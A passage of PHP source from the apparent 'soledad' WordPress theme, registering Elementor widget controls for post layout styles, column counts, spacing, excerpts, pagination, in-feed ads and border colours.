			'overlay-boxed-1'
		);
		$color_big_post   = array( 'mixed-2', 'overlay-grid', 'overlay-grid-2', 'overlay-list', 'overlay-boxed-1' );
		$style_extra_post = array( 'featured', 'mixed-4' );

		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'penci_style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'grid',
			'options' => array(
				'standard'         => esc_html__( 'Standard Posts', 'soledad' ),
				'classic'          => esc_html__( 'Classic Posts', 'soledad' ),
				'overlay'          => esc_html__( 'Overlay Posts', 'soledad' ),
				'featured'         => esc_html__( 'Featured Boxed', 'soledad' ),
				'grid'             => esc_html__( 'Grid Posts', 'soledad' ),
				'grid-boxed'       => esc_html__( 'Grid Boxed', 'soledad' ),
				'grid-boxed-2'     => esc_html__( 'Grid Boxed 2', 'soledad' ),
				'grid-boxed-3'     => esc_html__( 'Grid Boxed 3', 'soledad' ),
				'grid-boxed-4'     => esc_html__( 'Grid Boxed 4', 'soledad' ),
				'grid-2'           => esc_html__( 'Grid 2 Columns Posts', 'soledad' ),
				'masonry'          => esc_html__( 'Grid Masonry Posts', 'soledad' ),
				'masonry-2'        => esc_html__( 'Grid Masonry 2 Columns Posts', 'soledad' ),
				'list'             => esc_html__( 'List Posts', 'soledad' ),
				'list-boxed'       => esc_html__( 'List Boxed Posts', 'soledad' ),
				'list-boxed-2'     => esc_html__( 'List Boxed Posts 2', 'soledad' ),
				'list-boxed-3'     => esc_html__( 'List Boxed Posts 3', 'soledad' ),
				'timeline'         => __( 'Timeline', 'soledad' ),
				'small-list'       => esc_html__( 'Small List Posts', 'soledad' ),
				'boxed-1'          => esc_html__( 'Boxed Posts Style 1', 'soledad' ),
				'boxed-2'          => esc_html__( 'Boxed Posts Style 2', 'soledad' ),
				'photography'      => esc_html__( 'Photography Posts', 'soledad' ),
				'mixed'            => esc_html__( 'Mixed Posts', 'soledad' ),
				'mixed-2'          => esc_html__( 'Mixed Posts Style 2', 'soledad' ),
				'mixed-larger'     => esc_html__( 'Mixed Posts Larger', 'soledad' ),
				'mixed-3'          => esc_html__( 'Mixed Posts Style 3', 'soledad' ),
				'mixed-4'          => esc_html__( 'Mixed Posts Style 4', 'soledad' ),
				'standard-grid'    => esc_html__( '1st Standard Then Grid', 'soledad' ),
				'standard-grid-2'  => esc_html__( '1st Standard Then Grid 2 Columns', 'soledad' ),
				'standard-list'    => esc_html__( '1st Standard Then List', 'soledad' ),
				'standard-boxed-1' => esc_html__( '1st Standard Then Boxed', 'soledad' ),
				'classic-grid'     => esc_html__( '1st Classic Then Grid', 'soledad' ),
				'classic-grid-2'   => esc_html__( '1st Classic Then Grid 2 Columns', 'soledad' ),
				'classic-list'     => esc_html__( '1st Classic Then List', 'soledad' ),
				'classic-boxed-1'  => esc_html__( '1st Classic Then Boxed', 'soledad' ),
				'overlay-grid'     => esc_html__( '1st Overlay Then Grid', 'soledad' ),
				'overlay-grid-2'   => esc_html__( '1st Overlay Then Grid 2 Columns', 'soledad' ),
				'overlay-list'     => esc_html__( '1st Overlay Then List', 'soledad' ),
				'overlay-boxed-1'  => esc_html__( '1st Overlay Then Boxed', 'soledad' ),
			)
		) );

		$this->add_control( 'penci_boxed_dcol', array(
			'label'     => __( 'Desktop Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
			),
			'condition' => array(
				'penci_style' => array(
					'grid',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'masonry'
				)
			),
		) );

		$this->add_control( 'penci_boxed_tcol', array(
			'label'     => __( 'Tablet Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array(
				'penci_style' => array(
					'grid',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'masonry'
				)
			),
		) );

		$this->add_control( 'penci_boxed_mcol', array(
			'label'     => __( 'Mobile Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '2',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
			),
			'condition' => array(
				'penci_style' => array(
					'grid',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'masonry'
				)
			),
		) );

		$this->add_control( 'penci_mixed_style', array(
			'label'     => __( 'Mixed Post Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 's1',
			'options'   => array(
				's1' => esc_html__( 'Style 1', 'soledad' ),
				's2' => esc_html__( 'Style 2', 'soledad' ),
			),
			'condition' => array( 'penci_style' => array( 'mixed', 'mixed-2' ) ),
		) );
		$this->add_control( 'post_alignment', array(
			'label'       => __( 'Post Header Alignment', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left'
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center'
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right'
				)
			),
			'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
		) );

		$this->add_responsive_control( 'penci_items_martop', array(
			'label'       => __( 'Rows Gap Between Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-grid'                                                                                                                                                                                                                                                                                                             => 'row-gap:0',
				'{{WRAPPER}} .penci-grid > li, {{WRAPPER}} .grid-featured, {{WRAPPER}} .penci-grid li.typography-style, {{WRAPPER}} .grid-mixed, {{WRAPPER}} .penci-grid .list-post.list-boxed-post, {{WRAPPER}} .penci-masonry .item-masonry, {{WRAPPER}} article.standard-article, {{WRAPPER}} .penci-grid li.list-post, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-el.penci-latest-posts-mixed .penci-grid > li.grid-style:nth-last-of-type(2)' => 'margin-bottom: {{SIZE}}px!important;',
				'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                                                                                => 'padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                                                                                                                                                                            => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp'                                                                                                                                                            => 'margin-top: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.list-post.penci-slistp:last-child, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.list-post.penci-slistp:last-child'                                                                                                                                                  => 'margin-bottom: {{SIZE}}px;'
			),
			'label_block' => true,
		) );

		$this->add_responsive_control( 'penci_items_marlr', array(
			'label'          => __( 'Horizontal Gap Between Post Items', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => '' ),
			'mobile_default' => [
				'size' => 0
			],
			'range'          => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-grid'                  => '--pcrgap:{{SIZE}}{{UNIT}};column-gap:{{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-wrap-masonry'          => 'margin-left:calc({{SIZE}}{{UNIT}}/2*-1);margin-right:calc({{SIZE}}{{UNIT}}/2*-1)',
				'{{WRAPPER}} .penci-masonry .item-masonry' => 'padding-left:calc({{SIZE}}{{UNIT}}/2);padding-right:calc({{SIZE}}{{UNIT}}/2)',
			),
			'label_block'    => true,
			'condition'      => [
				'penci_style!' => [
					'standard',
					'classic',
					'overlay',
					'featured',
					'overlay-boxed-1',
					'overlay-list',
					'standard-list',
					'small-list',
					'list',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3',
				]
			],
		) );

		$this->add_responsive_control( 'penci_bitems_martop', array(
			'label'       => __( 'Rows Gap for Big Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .grid-featured, {{WRAPPER}} .grid-mixed, {{WRAPPER}} article.standard-article, {{WRAPPER}} .grid-overlay' => 'margin-bottom: {{SIZE}}px;',
			),
			'label_block' => true,
			'condition'   => array(
				'penci_style' => array(
					'mixed',
					'mixed-2',
					'mixed-4',
					'standard-grid',
					'standard-list',
					'standard-grid-2',
					'standard-boxed',
					'classic-grid',
					'classic-list',
					'classic-grid-2',
					'classic-boxed',
					'overlay-grid',
					'overlay-list',
					'overlay-grid-2',
					'overlay-boxed'
				)
			),
		) );

		$this->add_responsive_control( 'penci_sitems_martop', array(
			'label'       => __( 'Rows Gap for Small List Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-grid li.penci-slistp'                                                                                                                                  => 'margin-bottom: {{SIZE}}px; padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp'                                 => 'padding-bottom: 0px; margin-bottom: 0px; padding-top: {{SIZE}}px;',
				'{{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp ~ .penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp ~ .penci-slistp' => 'margin-top: {{SIZE}}px;',
			),
			'label_block' => true,
			'condition'   => array( 'penci_style' => array( 'mixed-3', 'mixed-4' ) ),
		) );

		$this->add_control( 'penci_paging', array(
			'label'     => __( 'Page Navigation Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'numbers',
			'options'   => array(
				'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
				'none'     => esc_html__( 'None', 'soledad' ),
			),
			'separator' => 'before'
		) );
		$this->add_control( 'morenum', array(
			'label'       => __( 'Custom Number Posts for Each Time Load More Posts', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 6,
			'label_block' => true,
			'condition'   => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
		) );
		$this->add_responsive_control( 'penci_paging_martop', array(
			'label'       => __( 'Margin Top for Page Navigation', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-latest-posts-el .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}} !important'
			),
			'label_block' => true,
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_standard_classic_layout', array(
			'label' => esc_html__( 'Standard & Classic Layouts Options', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$standard_classic_opts = array(
			'standard_meta_overlay'   => array(
				'label'   => 'Enable Post Meta Overlay Featured Image',
				'desc'    => 'This option just apply for Standard Layout Only',
				'default' => ''
			),
			'standard_thumbnail'      => array( 'label' => 'Hide Post Thumbnail', 'desc' => '', 'default' => '' ),
			'std_dis_at_gallery'      => array(
				'label'   => 'Disable Autoplay for Slider on Posts Format Gallery',
				'desc'    => '',
				'default' => ''
			),
			'standard_thumb_crop'     => array(
				'label'   => 'Make Featured Image Auto Crop',
				'desc'    => '',
				'default' => ''
			),
			'standard_share_box'      => array( 'label' => 'Hide Share Icons', 'desc' => '', 'default' => '' ),
			'standard_cat'            => array( 'label' => 'Hide Category', 'desc' => '', 'default' => '' ),
			'standard_cat_move'       => array( 'label' => 'Move Category to Meta section', 'desc' => '', 'default' => '' ),
			'standard_author'         => array( 'label' => 'Hide Post Author', 'desc' => '', 'default' => '' ),
			'standard_date'           => array( 'label' => 'Hide Post Date', 'desc' => '', 'default' => '' ),
			'standard_comment'        => array( 'label' => 'Hide Comment Count', 'desc' => '', 'default' => '' ),
			'standard_viewscount'     => array( 'label' => 'Show Views Count', 'desc' => '', 'default' => '' ),
			'standard_readtime'       => array( 'label' => 'Hide Reading Time', 'desc' => '', 'default' => '' ),
			'standard_remove_line'    => array(
				'label'   => 'Remove Line Above Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_auto_excerpt'   => array(
				'label'   => 'Showing Post Excerpt Instead of Full Content',
				'desc'    => '',
				'default' => 'yes'
			),
			'standard_remove_excerpt' => array(
				'label'   => 'Hide Post Content/Post Excerpt',
				'desc'    => '',
				'default' => ''
			),
			'standard_effect_button'  => array(
				'label'   => 'Disable Hover Effect on "Continue Reading" Button',
				'desc'    => '',
				'default' => ''
			),
		);

		foreach ( $standard_classic_opts as $standard_classic_key => $standard_classic_opt ) {
			$this->add_control( $standard_classic_key, array(
				'label'       => $standard_classic_opt['label'],
				'type'        => Controls_Manager::SWITCHER,
				'description' => $standard_classic_opt['desc'],
				'default'     => $standard_classic_opt['default'],
			) );
		}

		$this->add_responsive_control( 'penci_standard_featimg_ratio', array(
			'label'          => __( 'Custom Thumbnail Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => '' ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => '' ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'condition'      => array(
				'standard_thumbnail!' => 'yes',
			),
			'selectors'      => array(
				'{{WRAPPER}} .standard-post-image a > img' => 'aspect-ratio: 1 / {{SIZE}};object-fit: cover;',
			),
		) );

		$this->add_control( 'std_continue_btn', array(
			'label'     => 'Make "Continue Reading" is A Button',
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'standard_auto_excerpt' => 'yes' ),
		) );

		$this->add_control( 'std_excerpt_align', array(
			'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'center',
			'options' => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
		) );

		$this->add_control( 'standard_title_tag', array(
			'label'   => __( 'Title HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''   => esc_html__( 'Default', 'soledad' ),
				'h1' => esc_html__( 'H1', 'soledad' ),
				'h2' => esc_html__( 'H2', 'soledad' ),
				'h3' => esc_html__( 'H3', 'soledad' ),
				'h4' => esc_html__( 'H4', 'soledad' ),
				'h5' => esc_html__( 'H5', 'soledad' ),
				'h6' => esc_html__( 'H6', 'soledad' ),
			),
		) );

		$this->add_control( 'standard_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
		) );
		$this->add_control( 'standard_excerpt_length', array(
			'label' => __( 'Custom Excerpt Length', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
		) );
		$this->add_responsive_control( 'standard_excerpt_lines', array(
			'label'     => __( 'Maximum Excerpt Lines', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'selectors' => array(
				'{{WRAPPER}} .standard-content .standard-post-entry' => 'overflow: hidden;display: -webkit-box;-webkit-line-clamp:{{VALUE}};line-clamp:{{VALUE}};-webkit-box-orient: vertical;',
			),
		) );
		$this->add_control( 'std_continue_align', array(
			'label'     => __( 'Align "Continue Reading" Button', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'center',
			'options'   => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
			'condition' => array( 'penci_style!' => array( 'overlay', 'boxed-1', 'boxed-2', 'photography' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_order_layouts_layout', array(
			'label' => esc_html__( 'Other Layouts Options', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'order_layouts_note', array(
			'type'            => Controls_Manager::RAW_HTML,
			'content_classes' => 'elementor-descriptor',
		) );

		$this->add_control( 'penci_featimg_size', array(
			'label'                => __( 'Image Size Type', 'soledad' ),
			'type'                 => Controls_Manager::SELECT,
			'default'              => '',
			'options'              => array(
				''           => esc_html__( 'Default', 'soledad' ),
				'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
				'square'     => esc_html__( 'Square Size', 'soledad' ),
				'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
				'custom'     => esc_html__( 'Custom', 'soledad' ),
			),
			'selectors'            => array( '{{WRAPPER}} .penci-image-holder:before' => '{{VALUE}}', ),
			'selectors_dictionary' => array(
				'horizontal' => 'padding-top: 66.6667%;',
				'square'     => 'padding-top: 100%;',
				'vertical'   => 'padding-top: 135.4%;',
			),
			'condition'            => array( 'penci_style!' => array( 'masonry-2', 'masonry' ) ),
		) );
		$this->add_responsive_control( 'penci_featimg_ratio', array(
			'label'          => __( 'Image Ratio', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => 0.66 ),
			'tablet_default' => array( 'size' => '' ),
			'mobile_default' => array( 'size' => 0.5 ),
			'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
			'selectors'      => array(
				'{{WRAPPER}} .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
			),
			'condition'      => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_control( 'thumb_size', array(
			'label'     => __( 'Custom Image Size', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_control( 'thumb_bigsize', array(
			'label'       => __( 'Custom Image Size for Big Posts', 'soledad' ),
			'description' => __( 'This option apply for Overlay Posts & Big Posts on "Mixed Post" & "Mixed Posts Large" Layout', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => $this->get_list_image_sizes( true ),
			'condition'   => array( 'penci_featimg_size' => 'custom' ),
		) );

		$this->add_responsive_control( 'order_columns', array(
			'label'          => __( 'Columns', 'soledad' ),
			'type'           => Controls_Manager::SELECT,
			'default'        => '',
			'tablet_default' => '1',
			'mobile_default' => '1',
			'options'        => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'condition'      => array( 'penci_style' => array( 'masonry-2', 'masonry' ) ),
		) );


		$this->add_control( 'order_column_gap', array(
			'label'     => __( 'Columns Gap', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-wrap-masonry'          => 'margin-right: calc({{SIZE}}{{UNIT}} * -1 / 2); margin-left: calc( {{SIZE}}{{UNIT}} * -1 / 2 )',
				'{{WRAPPER}} .penci-masonry .item-masonry' => 'padding-right: calc({{SIZE}}{{UNIT}} / 2); padding-left: calc({{SIZE}}{{UNIT}} / 2)',
			),
			'condition' => array( 'penci_style' => array( 'masonry' ) ),
		) );

		$this->add_control( 'rmborder_bottom', array(
			'label'     => __( 'Remove Border Bottom on List Layouts', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li.list-post'                                                                                                                                                                                                                                   => 'padding-bottom: 0; border-bottom: none;',
				'{{WRAPPER}} .penci-layout-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-layout-mixed-4 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-3 .penci-grid li.penci-slistp, {{WRAPPER}} .penci-latest-posts-mixed-4 .penci-grid li.penci-slistp' => 'border-top: none; padding-top: 0;',
			),
		) );

		$this->add_control( 'share_rmborder', array(
			'label'     => __( 'Remove Border Left & Right on Share Box', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid .penci-post-share-box' => 'padding: 0; background: none;',
				'{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before'                => 'content: none;',
			),
		) );

		$order_layouts_opts = array(
			'grid_icon_format'     => array( 'label' => 'Hide Icon Post Format', 'desc' => '' ),
			'grid_meta_overlay'    => array( 'label' => 'Enable Post Meta Overlay Featured Image', 'desc' => '' ),
			'grid_nocrop_list'     => array(
				'label' => 'Do Not Crop Images in List & Small List Layouts',
				'desc'  => 'This option does not apply for gallery posts format'
			),
			'grid_share_box'       => array( 'label' => 'Hide Share Box', 'desc' => '' ),
			'grid_cat'             => array( 'label' => 'Hide Category', 'desc' => '' ),
			'grid_cat_move'        => array( 'label' => 'Move Category into the Meta section', 'desc' => '' ),
			'grid_author'          => array( 'label' => 'Hide Post Author', 'desc' => '' ),
			'grid_date'            => array( 'label' => 'Hide Post Date', 'desc' => '' ),
			'grid_comment'         => array( 'label' => 'Hide Comment Count on Mixed, Overlay Posts', 'desc' => '' ),
			'grid_comment_other'   => array( 'label' => 'Show Comment Count on Other Posts', 'desc' => '' ),
			'grid_viewscount'      => array( 'label' => 'Show Views Count', 'desc' => '' ),
			'grid_readtime'        => array( 'label' => 'Hide Reading Time', 'desc' => '' ),
			'grid_remove_line'     => array( 'label' => 'Remove Line Above Post Excerpt', 'desc' => '' ),
			'grid_remove_excerpt'  => array( 'label' => 'Remove Post Excerpt', 'desc' => '' ),
			'grid_add_readmore'    => array( 'label' => 'Add "Read more" button link', 'desc' => '' ),
			'grid_remove_arrow'    => array( 'label' => 'Remove arrow on "Read more"', 'desc' => '' ),
			'grid_readmore_button' => array( 'label' => 'Make "Read more" is A Button', 'desc' => '' ),
		);

		foreach ( $order_layouts_opts as $order_layouts_key => $order_layouts_opt ) {
			$this->add_control( $order_layouts_key, array(
				'label'        => $order_layouts_opt['label'],
				'type'         => Controls_Manager::SWITCHER,
				'description'  => $order_layouts_opt['desc'],
				'return_value' => 'yes',
			) );
		}

		$this->add_control( 'share_alignment', array(
			'label'       => __( 'Share Box Alignment', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left'
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center'
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right'
				)
			),
			'condition'   => array( 'penci_style!' => array( 'overlay', 'boxed-2', 'photography' ) ),
		) );

		$this->add_control( 'grid_readmore_align', array(
			'label'   => __( 'Align "Read more" Button', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'left',
			'options' => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
		) );
		$this->add_control( 'grid_excerpt_align', array(
			'label'   => __( 'Post Excerpt Alignment', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'left',
			'options' => array(
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
		) );

		$this->add_control( 'grid_title_tag', array(
			'label'   => __( 'Title HTML Tag', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''   => esc_html__( 'Default', 'soledad' ),
				'h1' => esc_html__( 'H1', 'soledad' ),
				'h2' => esc_html__( 'H2', 'soledad' ),
				'h3' => esc_html__( 'H3', 'soledad' ),
				'h4' => esc_html__( 'H4', 'soledad' ),
				'h5' => esc_html__( 'H5', 'soledad' ),
				'h6' => esc_html__( 'H6', 'soledad' ),
			),
		) );

		$this->add_control( 'grid_title_length', array(
			'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'label_block' => true,
		) );
		$this->add_control( 'grid_excerpt_length', array(
			'label' => __( 'Custom Excerpt Length', 'soledad' ),
			'type'  => Controls_Manager::NUMBER,
		) );
		$this->add_responsive_control( 'grid_excerpt_lines', array(
			'label'     => __( 'Maximum Excerpt Lines', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid .mixed-detail .item-content, {{WRAPPER}} .penci-grid li .item .item-content, {{WRAPPER}} .penci-masonry .item-masonry .item-content' => 'overflow: hidden;display: -webkit-box;-webkit-line-clamp:{{VALUE}};line-clamp:{{VALUE}};-webkit-box-orient: vertical;',
			),
		) );

		$this->add_responsive_control( 'list_imgwidth', array(
			'label'       => __( 'Image Width on List & Small List Layout', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'size_units'  => array( 'px', '%' ),
			'range'       => array(
				'px' => array( 'min' => 0, 'max' => 1000, ),
				'%'  => array( 'min' => 0, 'max' => 99, ),
			),
			'devices'     => array( 'desktop', 'tablet' ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-grid li.list-post-3:not(.pc-nothumb) .item > .thumbnail, {{WRAPPER}} .penci-grid li.list-post.penci-slistp .item > .thumbnail, {{WRAPPER}} .penci-latest-posts-sc .penci-grid li.list-post .item > .thumbnail' => 'width: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .penci-latest-posts-sc .penci-grid li.penci-item-listp .item .content-list-right'                                                                                                                                     => 'width: calc( 100% - {{SIZE}}{{UNIT}} )',
				'{{WRAPPER}} .list-post-3:not(.pc-nothumb) .content-list-right'                                                                                                                                                                    => 'width: calc( 100% - {{SIZE}}{{UNIT}} + 20px )',
			),
			'label_block' => true,
			'condition'   => array(
				'penci_style' => array(
					'list',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3',
					'small-list',
					'mixed-3',
					'mixed-4',
					'standard-list',
					'classic-list',
					'overlay-list'
				)
			),
		) );

		$this->end_controls_section();

		$this->register_query_section_controls( true );

		$this->start_controls_section( 'section_infeed_ads', array(
			'label' => esc_html__( 'In-feed Ads', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'infeed_ads_note', array(
			'type'            => Controls_Manager::RAW_HTML,
			'content_classes' => 'elementor-descriptor',
		) );

		$this->add_control( 'infeedads_num', array(
			'label'   => __( 'Insert In-feed Ads After Every How Many Posts?', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => '3',
		) );

		$this->add_control( 'infeedads_code', array(
			'label'    => __( 'In-feed Ads Code/HTML', 'soledad' ),
			'type'     => Controls_Manager::CODE,
			'language' => 'html',
			'rows'     => 20,
		) );

		$this->add_control( 'infeedads_layout', array(
			'label'   => __( 'In-feed Ads Layout Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''     => esc_html__( 'Follow Selected Layout', 'soledad' ),
				'full' => esc_html__( 'Full Width', 'soledad' ),
			)
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter();

		$this->register_block_title_section_controls_post();

		// Design
		$this->start_controls_section( 'section_design_content', array(
			'label' => __( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_control( 'post_border_color', array(
			'label'     => __( 'Post Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} .penci-grid li.list-post'                                                                                                         => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .penci-grid .list-post.list-boxed-post'                                                                                           => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .penci-grid li.list-boxed-post-2 .content-boxed-2'                                                                                => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .grid-mixed'                                                                                                                      => 'border-color: {{VALUE}} !important;',
				'{{WRAPPER}} .penci-grid[data-layout="list-boxed"] li.list-post .item, {{WRAPPER}} .penci-grid[data-layout="list-boxed-2"] li.list-post .item' => 'border-color: {{VALUE}} !important;',
				'.penci-grid[data-layout="grid-boxed"] li .item, .penci-grid[data-layout="grid-boxed-2"] li .item'                                             => 'border-color: {{VALUE}} !important;',
			),
			'condition' => array(
				'penci_style' => array(
					'list',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
